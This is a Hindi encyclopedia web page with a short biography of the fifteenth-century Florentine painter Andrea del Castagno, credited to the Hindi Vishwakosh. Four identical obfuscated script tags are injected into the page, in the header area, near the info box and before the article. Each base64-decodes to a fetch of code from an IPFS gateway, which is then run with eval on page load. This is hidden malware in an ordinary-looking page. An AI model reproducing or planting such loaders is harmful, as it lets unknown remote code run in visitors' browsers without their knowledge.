आंद्रिया देल कैस्तान्यो

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

लेख सूचना
आंद्रिया देल कैस्तान्यो
पुस्तक नाम हिन्दी विश्वकोश खण्ड 3
पृष्ठ संख्या 147
भाषा हिन्दी देवनागरी
संपादक सुधाकर पांडेय
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1976 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक पद्मा उपाध्याय

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

आंद्रिया देल कैस्तान्यो (1423-57) फ्लारेंस (इटली) का वैज्ञानिक चित्रकार। इनका पूरा नाम आंद्रिया (आंद्रेइनो) दी बार्तोलोमो दी सीमोने था और उनका जन्म कास्तान्या (मुगेलो घाटी, इटली) में हुआ था। उन्होंने अपना प्रारंभिक जीवन वेनिस में बिताया; वहाँ उन्होंने कुछ रेखाचित्र प्रस्तुत किए; फिर 1444 में फ्लोरेंस लौट आए। उनके इस काल के चित्रों मे मुख्य अंतिम भोज है। उनका सुख्यात भित्तिचित्रसमूह इवैंजेलिस्त संत जान, संत बेनेदिक्त तथा संत रोमुआल्द का है। एक अन्य महत्वपूर्ण भित्तिचित्र नौ प्रसिद्ध नरनारियों का है जिनमें पिप्पों स्पानों का प्रसिद्ध चित्र है और दांते, पेत्राकै तथा बोकाचों आदर्श रीति से आलिखित है। उनका एक क्रूस चित्रण लंदन की राष्ट्रीय चित्रशाला में है। कैस्तान्यो के अंतिमकालीन भित्तिचित्रों में से एक कुमारी का काष्ठचित्रण (1449-50) बर्लिन में और दूसरा योद्धा निकोलो (1453) फ्लोरेंस में है। उनकी शैली मासाचो तथा दोनातेलों की तकनीकी दिशा में विकसित हुई थी।

टीका टिप्पणी और संदर्भ